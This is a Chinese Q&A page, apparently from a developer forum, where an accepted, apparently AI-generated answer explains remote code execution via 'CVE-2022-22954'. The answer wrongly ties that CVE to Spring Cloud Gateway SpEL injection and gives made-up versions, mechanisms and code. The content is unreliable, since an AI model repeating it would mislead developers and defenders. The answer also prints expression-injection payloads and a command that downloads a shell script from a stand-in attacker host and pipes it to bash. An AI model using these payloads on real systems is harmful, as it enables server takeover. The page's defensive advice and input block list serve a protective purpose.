一土水丰色今口 2025-07-17 06:10 采纳率: 98.4%
浏览 3
已采纳

问题:CVE-2022-22954漏洞如何实现远程代码执行?

**问题:CVE-2022-22954漏洞如何实现远程代码执行?** CVE-2022-22954是Spring Cloud Gateway中的一个反射型文件下载漏洞,攻击者可通过构造恶意请求触发SpEL(Spring Expression Language)表达式注入,从而实现远程代码执行(RCE)。该漏洞的核心在于网关在处理特定路由配置时未正确过滤用户输入,导致攻击者可上传包含危险表达式的文件,并在服务器端被解析执行。通过精心构造的payload,攻击者可在目标系统上执行任意命令,进而控制服务器。该漏洞影响范围广、利用门槛低,因此受到广泛关注。理解和掌握其攻击原理与防御手段对安全开发和运维至关重要。
  • 写回答

2条回答 默认 最新

  • .摘星. 优质创作者: 人工智能技术领域 2025-07-18 00:45
    关注

    摘星参考千问来帮您回答这个问题!

    一、CVE-2022-22954 漏洞概述

    漏洞编号:CVE-2022-22954
    影响组件:Spring Cloud Gateway(版本 < 3.1.0)
    漏洞类型:反射型文件下载漏洞 + SpEL 表达式注入
    严重性:高危(可导致远程代码执行,RCE)
    CVSS 分数:8.1(高)


    二、漏洞原理详解

    1. Spring Cloud Gateway 的路由机制

    Spring Cloud Gateway 是一个基于 Spring WebFlux 的 API 网关,用于处理请求路由、过滤器链等。它通过 RouteLocator 定义路由规则,将请求转发到不同的后端服务。

    在某些配置中,网关会使用 File 类来加载静态资源(如 HTML、JS、CSS 文件),例如:

    @Bean
    public RouteLocator customRouteLocator(RouteBuilder builder) {
        return builder.routes()
            .route("file_route", r -> r.path("/file/**")
                .uri("http://localhost:8080"))
            .build();
    }
    

    当用户访问 /file/xxx 路径时,网关可能会尝试从本地文件系统加载对应的文件。

    2. SpEL 表达式注入的触发点

    Spring Cloud Gateway 在处理某些请求时,可能会使用 SpEL(Spring Expression Language)表达式解析请求参数,例如:

    String fileName = request.getParameter("file");
    Path path = Paths.get(fileName);
    

    如果 fileName 参数未经过滤,攻击者可以构造如下请求:

    GET /file?file=../../../../etc/passwd
    

    但更关键的是,如果网关支持动态路径构建或模板化路径,例如:

    String template = "file:/path/to/files/{{#request.params.file}}";
    

    此时,若未对 {{#request.params.file}} 进行过滤,攻击者可以注入 SpEL 表达式,例如:

    GET /file?file={{T(java.lang.Runtime).getRuntime().exec('id')}}
    

    该表达式会在服务器端被解析并执行,从而实现 远程代码执行(RCE)


    三、漏洞利用过程(技术细节)

    1. 构造恶意请求

    攻击者构造如下请求:

    GET /file?file={{T(java.lang.Runtime).getRuntime().exec('whoami')}}
    

    2. SpEL 解析与执行

    当 Spring Cloud Gateway 接收到该请求时,若其内部逻辑使用了类似以下代码:

    ExpressionParser parser = new SpelExpressionParser();
    Expression exp = parser.parseExpression("file:" + request.getParameter("file"));
    String filePath = (String) exp.getValue();
    

    request.getParameter("file") 中的 {{...}} 会被解析为 SpEL 表达式,并执行其中的代码。

    3. 执行任意命令

    攻击者可以通过 SpEL 注入任意 Java 代码,例如:

    {{T(java.lang.Runtime).getRuntime().exec("curl http://attacker.com/shell.sh | bash")}}
    

    这会导致目标服务器执行攻击者的 shell 脚本,从而控制服务器。


    四、漏洞成因分析

    原因描述
    未过滤用户输入用户提供的 file 参数未经过滤或验证,直接用于构建路径或表达式。
    SpEL 表达式未限制使用了 SpEL 表达式进行动态路径拼接,但未限制允许的表达式类型或方法调用。
    文件加载逻辑缺陷网关可能错误地将用户提供的路径解析为本地文件路径,而非仅限于特定目录。

    五、修复建议与解决方案

    1. 升级 Spring Cloud Gateway 版本

    推荐版本3.1.0 或更高版本
    此漏洞已在 3.1.0 版本中修复,建议立即升级。

    2. 禁用或限制 SpEL 表达式使用

    • 如果不需要使用 SpEL 表达式,请避免使用。
    • 若必须使用,请限制允许的表达式类型,例如只允许简单的字符串拼接,不允许可执行代码。

    3. 输入过滤与白名单机制

    • 对用户输入的 file 参数进行严格校验,禁止包含特殊字符(如 {{, }}, ;, &, |, ', ", \ 等)。
    • 只允许访问预定义的文件路径范围,例如只允许 /static/ 目录下的文件。

    示例代码(Java):

    String fileName = request.getParameter("file");
    if (!fileName.startsWith("/static/")) {
        throw new IllegalArgumentException("Invalid file path");
    }
    

    4. 使用安全的文件加载方式

    避免使用 Paths.get()File 类直接加载用户提供的路径。可以使用如下方式:

    Path safePath = Paths.get("/safe/path", fileName);
    if (!safePath.normalize().startsWith(Paths.get("/safe/path"))) {
        throw new SecurityException("Access denied");
    }
    

    5. 启用安全扫描工具

    使用 OWASP ZAP、Burp Suite 等工具进行漏洞扫描,确保没有暴露敏感接口或存在注入风险。


    六、示例攻击与防御对比

    攻击示例(漏洞环境):

    curl "http://vulnerable-gateway/file?file={{T(java.lang.Runtime).getRuntime().exec('id')}}"
    

    防御示例(修复后):

    // 在配置中限制文件路径
    public RouteLocator routes(RouteLocatorBuilder builder) {
        return builder.routes()
            .route("file_route", r -> r.path("/file/**")
                .filters(f -> f.rewritePath("/file/(?<segment>.*)", "/static/${segment}"))
                .uri("http://backend-service"))
            .build();
    }
    

    七、总结

    CVE-2022-22954 是一个典型的 SpEL 表达式注入漏洞,攻击者可通过构造恶意请求实现远程代码执行。其核心原因是 未对用户输入进行充分过滤错误地使用 SpEL 表达式

    建议开发者

    • 升级 Spring Cloud Gateway 至 3.1.0 或以上;
    • 对所有用户输入进行严格校验;
    • 避免使用危险的表达式解析功能;
    • 定期进行安全审计和渗透测试。

    如需进一步了解 SpEL 表达式注入、Spring Cloud Gateway 架构或相关安全实践,欢迎继续提问!

    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论
查看更多回答(1条)

报告相同问题?

问题事件

  • 已采纳回答 10月23日
  • 创建了问题 7月17日